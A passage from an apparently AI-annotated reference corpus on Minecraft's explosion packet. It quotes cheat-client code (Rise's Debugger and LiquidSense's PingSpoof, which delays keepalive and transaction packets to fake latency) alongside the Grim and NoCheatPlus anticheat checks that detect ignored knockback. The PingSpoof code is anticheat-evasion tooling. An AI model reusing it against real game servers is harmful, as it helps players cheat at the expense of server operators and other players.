Packet<?> packet = event.getPacket();\n        if (packet instanceof C03PacketPlayer && teleport.getValue()) {\n\n            stopWatch.reset();\n        }\n\n        if (displayAll.getValue()) {\n            String name = packet.getClass().getSimpleName();\n\n            if (blacklist.getValue()) {\n                if (!blacklisted.contains(name)) {\n                    ChatUtil.display(EnumChatFormatting.BLACK + \" BlackListed Packet \" + EnumChatFormatting.RESET + \" (ID: %s)\", name);\n                    blacklisted.add(name);\n                }\n            } else if (!blacklisted.contains(name)) {\n                ChatUtil.display(EnumChatFormatting.GOLD + \" Packet \" + EnumChatFormatting.RESET + \" (ID: %s)\", name);\n\n                for (Field field : packet.getClass().getDeclaredFields()) {\n                    field.setAccessible(true);\n\n                    try {\n                        ChatUtil.display(EnumChatFormatting.YELLOW + \" %s:\" + EnumChatFormatting.GRAY + \" %s\", field.getName(), field.get(packet));\n                    } catch (IllegalAccessException e) {\n                        e.printStackTrace();\n                    }\n                }\n\n                if (time.getValue()) ChatUtil.display(EnumChatFormatting.YELLOW + \" %s:\" + EnumChatFormatting.GRAY + \" %s\", \"time since movement\", stopWatch.getElapsedTime());\n\n                ChatUtil.display(\"\");\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (transaction.getValue() && packet instanceof S32PacketConfirmTransaction) {\n            final S32PacketConfirmTransaction transaction = ((S32PacketConfirmTransaction) packet);\n\n            ChatUtil.display(EnumChatFormatting.RED + \" Transaction \" + EnumChatFormatting.RESET + \" (ID: %s)   (WindowID: %s)\", transaction.actionNumber, transaction.windowId);\n        } else if (keepAlive.getValue() && packet instanceof S00PacketKeepAlive) {\n            final S00PacketKeepAlive wrapper = ((S00PacketKeepAlive) packet);\n\n            ChatUtil.display(EnumChatFormatting.GREEN + \" Keep Alive \" + EnumChatFormatting.RESET + \" (ID: %s)\", wrapper.func_149134_c());\n        } else if (teleport.getValue() && packet instanceof S08PacketPlayerPosLook) {\n            final S08PacketPlayerPosLook wrapper = ((S08PacketPlayerPosLook) packet);\n\n            ChatUtil.display(EnumChatFormatting.BLUE + \" Server Teleport \" + EnumChatFormatting.RESET + \" (Position: %s)\",\n                    MathUtil.round(wrapper.x, 3) + \" \" +\n                            MathUtil.round(wrapper.y, 3) + \" \" +\n                            MathUtil.round(wrapper.z, 3));\n        } else if (velocity.getValue() && packet instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity wrapper = ((S12PacketEntityVelocity) packet);\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n                ChatUtil.display(EnumChatFormatting.LIGHT_PURPLE + \" Velocity \" + EnumChatFormatting.RESET + \" (DeltaX: %s) (DeltaY: %s)  (DeltaZ: %s) \",\n                        wrapper.motionX / 8000D, wrapper.motionY / 8000D, wrapper.motionZ / 8000D);\n            }\n        } else if (velocity.getValue() && packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = ((S27PacketExplosion) packet);\n            ChatUtil.display(EnumChatFormatting.LIGHT_PURPLE + \" Explosion (Velocity) \" + EnumChatFormatting.RESET + \" (DeltaX: %s) (DeltaY: %s)  (DeltaZ: %s) \",\n                    explosion.func_149149_c(), explosion.func_149144_d(), explosion.func_149147_e());\n        } else if (abilities.getValue() && packet instanceof S39PacketPlayerAbilities) {\n            S39PacketPlayerAbilities abilitiesp = ((S39PacketPlayerAbilities) packet);\n            ChatUtil.display(EnumChatFormatting.YELLOW + \" Abilities \" + abilitiesp.getFlySpeed() + \" \" + abilitiesp.isAllowFlying() + \" \" + abilitiesp.isFlying());\n        }\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (devPanel.getValue()) {\n            double padding = 10;\n            position.scale = new Vector2d(180, 207);\n\n            getLayer(REGULAR, 1).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), getTheme().getBackgroundShade()));\n            getLayer(BLUR).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), Color.BLACK));\n            getLayer(BLOOM).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), getTheme().getDropShadow()));\n\n            getLayer(REGULAR, 1).add(() -> {\n                mc.fontRendererObj.drawWithShadow(Client.NAME + \" \" + Client.VERSION + \" INDEV \" + date.format(LocalDateTime.now()), position.position.x + padding, position.position.y + padding, new Color(255, 255, 0).getRGB());\n                mc.fontRendererObj.drawWithShadow(\"FPS: \" + Minecraft.getDebugFPS() + \" [target \" + mc.getLimitFramerate() + \"]\", position.position.x + padding, position.position.y + padding * 2, new Color(255, 255, 0).getRGB());\n\n                mc.fontRendererObj.draw(\"Debugger\", position.position.x + padding, position.position.y + padding * 4, getTheme().getFirstColor().hashCode());\n\n                if (Client.DEVELOPMENT_SWITCH) {\n                    mc.fontRendererObj.draw(\"Blink: \" + BlinkComponent.blinking, position.position.x + padding, position.position.y + padding * 6, Color.WHITE.hashCode());\n                } else {\n                    mc.fontRendererObj.draw(\"Hidden due to not in dev mode\", position.position.x + padding, position.position.y + padding * 5, Color.WHITE.hashCode());\n                    mc.fontRendererObj.draw(\"Hidden due to not in dev mode\", position.position.x + padding, position.position.y + padding * 6, Color.WHITE.hashCode());\n                }\n\n//                mc.fontRendererObj.drawString(\"Bot Amount: \" + Client.INSTANCE.getBotManager().size(), position.position.x + padding, position.position.y + padding * 7, Color.WHITE.hashCode());\n                mc.fontRendererObj.draw(\"ESPs Amount: \" + ESPComponent.esps.size(), position.position.x + padding, position.position.y + padding * 8, Color.WHITE.hashCode());\n\n                mc.fontRendererObj.draw(\"Performance\", position.position.x + padding, position.position.y + padding * 9, getTheme().getFirstColor().hashCode());\n                mc.fontRendererObj.draw(\"ThreadLag: \" + threadLag, position.position.x + padding, position.position.y + padding * 16, Color.WHITE.hashCode());\n\n                mc.fontRendererObj.draw(\"Other\", position.position.x + padding, position.position.y + padding * 18, getTheme().getFirstColor().hashCode());\n                mc.fontRendererObj.draw(\"Timer: \" + mc.timer.timerSpeed, position.position.x + padding, position.position.y + padding * 19, Color.WHITE.hashCode());\n            });\n        }\n    };\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (measuring) return;\n\n        long systemTime = System.currentTimeMillis();\n        measuring = true;\n\n        boolean run = mc.thePlayer.ticksExisted % 100 == 0 && eventCalls.getValue();\n        threadPool.execute(() -> {\n            threadLag = System.currentTimeMillis() - systemTime;\n            measuring = false;\n\n            if (run) {\n                ChatUtil.display(\"Displaying Calls: \");\n\n                for (String name : calls.keySet()) {\n                    ChatUtil.display(name + \": \" + calls.get(name));\n                }\n\n                calls.clear();\n            }\n        });\n    };\n}\n// NOTE (AI): The S27 branch is a narrow slice of a much larger diagnostic module that also logs transactions, keepalives, teleports and S12 velocity. The explosion branch prints the three motion floats via the func_1491xx accessors. Debugger is gated behind the module's own toggles, not the development switch, so it works in release builds.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Debugger.java",
      "vanilla_hook": "PacketReceiveEvent, PacketSendEvent, Render2DEvent, PreMotionEvent.",
      "anti_cheat_notes": "Read-only; prints to chat only. It exists to make the velocity suite's tuning data visible, and it is the only module in the corpus that reads S27 without mutating or cancelling it.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4. Rise 5.99 has a PacketDebugger module for the same role, but the corpus shows no S27 reference in it."
     },
     {
      "name": "PingSpoof (unused import)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Documented for completeness: LiquidSense Dev's PingSpoof imports S27PacketExplosion but does not process the packet in this build.",
      "how_it_works": "The module buffers C0FPacketConfirmTransaction and C00PacketKeepAlive on the send side and flushes them after a random delay on the update loop. S27PacketExplosion appears only in the import list (line 23) and is never referenced in the module body, so no explosion handling exists.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.utils.misc.RandomUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.server.S27PacketExplosion;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\n@ModuleInfo(name = \"PingSpoof\", description = \"Spoofs your ping to a given value.\", category = ModuleCategory.EXPLOIT)\npublic class PingSpoof extends Module {\n\tprivate final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 1000, 0, 5000) {\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int minDelayValue = PingSpoof.this.minDelayValue.get();\n\n\t\t\tif(minDelayValue > newValue)\n\t\t\t\tset(minDelayValue);\n\t\t}\n\t};\n\n\tprivate final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 500, 0, 5000) {\n\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int maxDelayValue = PingSpoof.this.maxDelayValue.get();\n\n\t\t\tif(maxDelayValue < newValue)\n\t\t\t\tset(maxDelayValue);\n\t\t}\n\t};\n\n\tprivate final HashMap<Packet<?>, Long> packetsMap = new HashMap<>();\n\n\t@Override\n\tpublic void onDisable() {\n\t\tpacketsMap.clear();\n\t}\n\n\t@EventTarget\n\tpublic void onPacket(final PacketEvent event) {\n\t\tfinal Packet packet = event.getPacket();\n\n\t\tif ((packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) && !(mc.thePlayer.isDead || mc.thePlayer.getHealth() <= 0) && !packetsMap.containsKey(packet)) {\n\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tpacketsMap.put(packet, System.currentTimeMillis() + TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()));\n\t\t\t}\n\t\t\tevent.cancelEvent();\n\t\t}\n\t}\n\n\t@EventTarget(ignoreCondition = true)\n\tpublic void onUpdate(final UpdateEvent event) {\n\t\ttry {\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tfor(final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetsMap.entrySet().iterator(); iterator.hasNext(); ) {\n\t\t\t\t\tfinal Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n\t\t\t\t\tif(entry.getValue() < System.currentTimeMillis()) {\n\t\t\t\t\t\tmc.getNetHandler().addToSendQueue(entry.getKey());\n\t\t\t\t\t\titerator.remove();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}catch(final Throwable t) {\n\t\t\tt.printStackTrace();\n\t\t}\n\t}\n}\n// NOTE (AI): The S27PacketExplosion reference is import-only. PingSpoof buffers C0FPacketConfirmTransaction and C00PacketKeepAlive on the send side and flushes them after a random delay on the update loop; S27PacketExplosion appears only in the import list (line 23) and is never referenced in the module body. The import is dead scaffolding from the upstream LiquidBounce PingSpoof, which historically classified explosion packets; this dev build does not touch S27. It is documented for completeness, not because the module processes the packet.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java",
      "vanilla_hook": "PacketEvent (onPacket) for C0F/C00 buffering; no S27 hook.",
      "anti_cheat_notes": "No detection relevance: an unused import changes nothing on the wire.",
      "variations": "No other corpus client carries a dead S27 import in a ping-spoof module; Rise 6.x PingSpoofComponent genuinely buffers S27 in its velocity tuple."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the universal hook: every S27 consumer in the corpus registers on the receive path before the vanilla handler applies the knockback.",
    "client_variations": "Classic clients mutate or cancel the packet object inside the event. Rise 5.99/6.x call event.setPacket / event.setCancelled on their own event bus. Tenacity and Spicy use IEventListener-style lambda handlers. Rise 6.x additionally routes S27 through components (ItemDamageComponent, PingSpoofComponent) and a security layer (ExplosionCheck) in addition to modules. LiquidSense Dev touches S27 only through an unused import in PingSpoof.java; its velocity handling does not exist in this build.",
    "related": [
     "S12PacketEntityVelocity",
     "S28PacketEffect",
     "C03PacketPlayer"
    ],
    "anticheat": {
     "overview": "S27 is the explosion packet: it carries the knockback vector the client must apply plus the destroyed block records. Anticheats read the velocity component on the OUT side and require it in the client's subsequent motion, exactly like entity knockback, and the block records give simulation anticheats the world mutation the explosion caused. The corpus shows two approaches: Grim brackets the explosion vector with transactions and flags when the prediction misses it, while NCP and Intave read the vector straight off the wire (NCP feeds it into the moving velocity model, Intave into its motion tracker).",
     "checks": [
      {
       "name": "ExplosionHandler / AntiExplosion (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Requires the client's simulated motion to include the explosion knockback vector, flagging players who ignore it.",
       "how_it_works": "On the OUT explosion packet, applies the destroyed block records to the compensated world (with 1.21.2+ handling where blocks arrive via separate block-change packets) and records the knockback vector in a transaction-bracketed queue. On each prediction complete, the offset between the player's actual movement and the required explosion velocity is measured; offsets above the configured threshold flag with a setback, and knockback-overridden explosions are exempted by comparing transaction ordering.",
       "detects": "Anti-explosion and velocity-cancel cheats that ignore explosion knockback, and world-desync from missing block destruction.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/velocity/ExplosionHandler.java =====\npackage ac.grim.grimac.checks.impl.velocity;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.PredictionComplete;\nimport ac.grim.grimac.utils.data.VectorData;\nimport ac.grim.grimac.utils.data.VelocityData;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.protocol.world.states.defaulttags.BlockTags;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateValue;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerExplosion;\nimport lombok.Getter;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.util.Deque;\nimport java.util.LinkedList;\n\n@CheckData(name = \"AntiExplosion\", stableKey = \"grim.velocity.anti_explosion\", configName = \"Explosion\", description = \"Did not take the expected explosion knockback\", setback = 10)\npublic class ExplosionHandler extends Check implements PacketSendListener, PostPredictionListener {\n    private static final Verbose V = Verbose.of(\"[ignored explosion|o: {offset}]\");\n\n    private final Deque<VelocityData> firstBreadMap = new LinkedList<>();\n\n    private VelocityData lastExplosionsKnownTaken = null;\n    private VelocityData firstBreadAddedExplosion = null;\n\n    @Getter\n    private boolean explosionPointThree = false;\n\n    private double offsetToFlag;\n\n    public ExplosionHandler(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.EXPLOSION) {\n            WrapperPlayServerExplosion explosion = new WrapperPlayServerExplosion(event);\n\n            // Since 1.21.2, the server will instead send these changes via block change packets\n            final boolean hasBlocks = PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2);\n            if (hasBlocks) {\n                this.handleBlockExplosions(explosion);\n            }\n\n            Vector3d velocity = explosion.getKnockback();\n            if (velocity != null && (velocity.x != 0 || velocity.y != 0 || velocity.z != 0)) {\n                // No need to spam transactions\n                if (!hasBlocks || explosion.getRecords().isEmpty()) player.sendTransaction();\n                addPlayerExplosion(player.lastTransactionSent.get(), velocity);\n                event.getTasksAfterSend().add(player::sendTransaction);\n            }\n        }\n    }\n\n    private void handleBlockExplosions(WrapperPlayServerExplosion explosion) {\n        final @Nullable WrapperPlayServerExplosion.BlockInteraction blockInteraction = explosion.getBlockInteraction();\n        final boolean shouldDestroy = blockInteraction != WrapperPlayServerExplosion.BlockInteraction.KEEP_BLOCKS;\n        if (explosion.getRecords().isEmpty() || !shouldDestroy) {\n            return;\n        }\n\n        player.sendTransaction();\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            for (Vector3i record : explosion.getRecords()) {\n                // Null OR not flip redstone blocks, then set to air\n                if (blockInteraction != WrapperPlayServerExplosion.BlockInteraction.TRIGGER_BLOCKS) {\n                    player.compensatedWorld.updateBlock(record.x, record.y, record.z, 0);\n                } else {\n                    // We need to flip redstone blocks, or do special things with other blocks\n                    final WrappedBlockState state = player.compensatedWorld.getBlock(record);\n                    final StateType type = state.getType();\n                    if (BlockTags.CANDLES.contains(type) || BlockTags.CANDLE_CAKES.contains(type)) {\n                        state.setLit(false);\n                        continue;\n                    } else if (type == StateTypes.BELL) {\n                        // Does this affect anything? I don't know, I don't see anything that relies on whether a bell is ringing.\n                        continue;\n                    }\n\n                    // Otherwise try and flip/open it.\n                    final boolean canFlip = state.hasProperty(StateValue.POWERED) && !state.isPowered() || type == StateTypes.LEVER;\n                    if (canFlip) {\n                        player.compensatedWorld.tickOpenable(record.x, record.y, record.z);\n                    }\n                }\n            }\n        });\n    }\n\n    public VelocityData getFutureExplosion() {\n        // Chronologically in the future\n        if (!firstBreadMap.isEmpty()) {\n            return firstBreadMap.peek();\n        }\n\n        // Less in the future\n        if (lastExplosionsKnownTaken != null) {\n            return lastExplosionsKnownTaken;\n        }\n\n        // Uncertain, might be in the future\n        if (player.firstBreadExplosion != null && player.likelyExplosions == null) {\n            return player.firstBreadExplosion;\n        } else if (player.likelyExplosions != null) { // Known to be in the present\n            return player.likelyExplosions;\n        }\n        return null;\n    }\n\n    public boolean shouldIgnoreForPrediction(VectorData data) {\n        if (data.isExplosion() && data.isFirstBreadExplosion()) {\n            return player.firstBreadExplosion.offset > offsetToFlag;\n        }\n        return false;\n    }\n\n    public boolean wouldFlag() {\n        return (player.likelyExplosions != null && player.likelyExplosions.offset > offsetToFlag) || (player.firstBreadExplosion != null && player.firstBreadExplosion.offset > offsetToFlag);\n    }\n\n    public void addPlayerExplosion(int breadOne, Vector3d explosion) {\n        firstBreadMap.add(new VelocityData(-1, breadOne, player.getSetbackTeleportUtil().isSendingSetback, new Vector3dm(explosion.getX(), explosion.getY(), explosion.getZ())));\n    }\n\n    public void setPointThree(boolean isPointThree) {\n        explosionPointThree = explosionPointThree || isPointThree;\n    }\n\n    public void handlePredictionAnalysis(double offset) {\n        if (player.firstBreadExplosion != null) {\n            player.firstBreadExplosion.offset = Math.min(player.firstBreadExplosion.offset, offset);\n        }\n\n        if (player.likelyExplosions != null) {\n            player.likelyExplosions.offset = Math.min(player.likelyExplosions.offset, offset);\n        }\n    }\n\n    public void forceExempt() {\n        // Unsure explosion was taken\n        if (player.firstBreadExplosion != null) {\n            player.firstBreadExplosion.offset = 0;\n        }\n\n        if (player.likelyExplosions != null) {\n            player.likelyExplosions.offset = 0;\n        }\n    }\n\n    @Override\n    public void onPredictionComplete(final PredictionComplete predictionComplete) {\n        double offset = predictionComplete.getOffset();\n\n        boolean wasZero = explosionPointThree;\n        explosionPointThree = false;\n\n        if (player.likelyExplosions == null && player.firstBreadExplosion == null) {\n            firstBreadAddedExplosion = null;\n            return;\n        }\n\n        // We must check to see if knockback has overridden this explosion\n        // (Yes, I could make this very simple and exempt on kb, but that allows people to ignore most explosions)\n        //\n        // We do this by finding the minimum explosion transaction that could have been overridden\n        // We then compare this against the maximum velocity transaction that could override\n        //\n        // If velocity is over transaction, exempt\n        int minTrans = Math.min(player.likelyExplosions != null ? player.likelyExplosions.transaction : Integer.MAX_VALUE,\n                player.firstBreadExplosion != null ? player.firstBreadExplosion.transaction : Integer.MAX_VALUE);\n        int kbTrans = Math.max(player.likelyKB != null ? player.likelyKB.transaction : Integer.MIN_VALUE,\n                player.firstBreadKB != null ? player.firstBreadKB.transaction : Integer.MIN_VALUE);\n\n        if (player.predictedVelocity.isFirstBreadExplosion()) {\n            firstBreadAddedExplosion = null;\n            firstBreadMap.poll(); // Remove from map so we don't pull it again\n        }\n\n        if (wasZero || player.predictedVelocity.isExplosion() ||\n                (minTrans < kbTrans)) {\n            // Unsure knockback was taken\n            if (player.firstBreadExplosion != null) {\n                player.firstBreadExplosion.offset = Math.min(player.firstBreadExplosion.offset, offset);\n            }\n\n            if (player.likelyExplosions != null) {\n                player.likelyExplosions.offset = Math.min(player.likelyExplosions.offset, offset);\n            }\n        }\n\n        // 100% known kb was taken\n        if (player.likelyExplosions != null && !player.compensatedEntities.self.isDead) {\n            if (player.likelyExplosions.offset > offsetToFlag) {\n                boolean ignored = player.likelyExplosions.offset == Integer.MAX_VALUE;\n                flagWithSetback(V.write(verbose()).bool(ignored).f64(offset));\n            } else {\n                reward();\n            }\n        }\n    }\n\n    public VelocityData getPossibleExplosions(int lastTransaction, boolean isJustTesting) {\n        handleTransactionPacket(lastTransaction);\n        if (lastExplosionsKnownTaken == null)\n            return null;\n\n        VelocityData returnLastExplosion = lastExplosionsKnownTaken;\n        if (!isJustTesting) {\n            lastExplosionsKnownTaken = null;\n        }\n        return returnLastExplosion;\n    }\n\n    private void handleTransactionPacket(int transactionID) {\n        VelocityData data = firstBreadMap.peek();\n        while (data != null) {\n            if (data.transaction == transactionID) { // First bread explosion\n                if (lastExplosionsKnownTaken != null)\n                    firstBreadAddedExplosion = new VelocityData(-1, data.transaction, data.isSetback, lastExplosionsKnownTaken.vector.clone().add(data.vector));\n                else\n                    firstBreadAddedExplosion = new VelocityData(-1, data.transaction, data.isSetback, data.vector);\n                break; // All knockback after this will have not been applied\n            } else if (data.transaction < transactionID) {\n                if (lastExplosionsKnownTaken != null) {\n                    lastExplosionsKnownTaken.vector.add(data.vector);\n                } else {\n                    lastExplosionsKnownTaken = new VelocityData(-1, data.transaction, data.isSetback, data.vector);\n                }\n\n                // Explosion has been applied and is now required, remove it from first bread\n                firstBreadAddedExplosion = null;\n                firstBreadMap.poll();\n                data = firstBreadMap.peek();\n            } else { // We are too far ahead in the future\n                break;\n            }\n        }\n    }\n\n    public VelocityData getFirstBreadAddedExplosion(int lastTransaction) {\n        handleTransactionPacket(lastTransaction);\n        return firstBreadAddedExplosion;\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        offsetToFlag = config.getDoubleElse(\"Explosion.threshold\", 0.00001);\n    }\n}\n// NOTE (AI): The knockback-vs-explosion override logic uses transaction ids, so a simultaneous knockback that legitimately replaces the explosion does not false-flag.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/velocity/ExplosionHandler.java",
       "variations": "NCP and Intave read the vector directly; Grim additionally simulates the block destruction, which is unique in the corpus."
      },
      {
       "name": "VelocityAdapter (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Feeds the explosion knockback vector into NCP's moving velocity model so survivalfly and other movement checks allow it.",
       "how_it_works": "ProtocolLib adapter on the OUT explosion packet: reads the three velocity floats (indices 1-3), skips packets with zero velocity, and adds the vector to the player's MovingData with the ORIGIN_EXPLOSION and ADDITIVE flags. The moving checks then know the player was legitimately pushed and subtract the explosion velocity from their expected motion.",
       "detects": "Anti-explosion cheats are caught indirectly: without the recorded push, the movement checks treat the explosion's motion as impossible.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/VelocityAdapter.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.Arrays;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\n\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingConfig;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingData;\nimport fr.neatmonster.nocheatplus.checks.moving.velocity.VelocityFlags;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\n\n/**\n * Adapter for handling the explosion packet (for velocity)\n */\npublic class VelocityAdapter extends BaseAdapter {\n    private static PacketType[] initPacketTypes() {\n        final List<PacketType> types = new LinkedList<PacketType>(Arrays.asList(\n                PacketType.Play.Server.EXPLOSION\n                //PacketType.Play.Server.ENTITY_VELOCITY\n        ));\n        return types.toArray(new PacketType[types.size()]);\n    }\n\n    public VelocityAdapter(Plugin plugin) {\n        super(plugin, ListenerPriority.MONITOR, initPacketTypes());\n    }\n\n    @Override\n    public void onPacketSending(final PacketEvent event) {\n        handleVelocityPacket(event);\n    }\n    \n    private void handleVelocityPacket(PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        } \n        catch (NoSuchMethodError e) {\n            if (event.getPlayer() == null) {\n                counters.add(ProtocolLibComponent.idNullPlayer, 1);\n                return;\n            }\n            if (DataManager.getPlayerDataSafe(event.getPlayer()) == null) {\n                return;\n            }\n        }\n        if (event.getPacketType() != PacketType.Play.Server.EXPLOSION) return;\n        final Player player = event.getPlayer();\n        final PacketContainer packet = event.getPacket();\n        final StructureModifier<Float> floats = packet.getFloat();\n\n        if (floats.size() != 4) {\n            // TODO : Warning\n            return;\n        }\n\n        //final Float strength = floats.read(0);\n\n        final Float velX = floats.read(1);\n        final Float velY = floats.read(2);\n        final Float velZ = floats.read(3);\n        if (Math.abs(velX) == 0.0 && Math.abs(velZ) == 0.0 && Math.abs(velY) == 0.0) return;\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (!pData.isCheckActive(CheckType.MOVING, player)) return;\n        final MovingData data = pData.getGenericInstance(MovingData.class);\n        final MovingConfig cc = pData.getGenericInstance(MovingConfig.class);\n        // Process velocity.\n        data.addVelocity(player, cc, velX, velY, velZ, VelocityFlags.ORIGIN_EXPLOSION | VelocityFlags.ADDITIVE);\n    }\n}\n// NOTE (AI): The adapter's entity-velocity registration is commented out, so S27 is the only packet it processes.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/VelocityAdapter.java",
       "variations": "Grim requires the exact vector in prediction; NCP adds it to an expected-motion model that moving checks consume."
      },
      {
       "name": "ExplosionReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Reads and rewrites the explosion knockback vector into the Intave motion abstraction for both simulation and mitigation.",
       "how_it_works": "ProtocolLib reader over the OUT explosion packet: on pre-1.21.3 servers it reads velocity floats 1-3, on 1.21.3+ it reads the optional motion vector, converting either into a Motion value; setMotion writes the value back. The motion feeds Intave's fake-player simulation and its mitigation layer, which can resend corrected motion.",
       "detects": "Anti-explosion and knockback reduction, detected through the simulation's motion comparison and mitigated by rewriting the sent vector.",
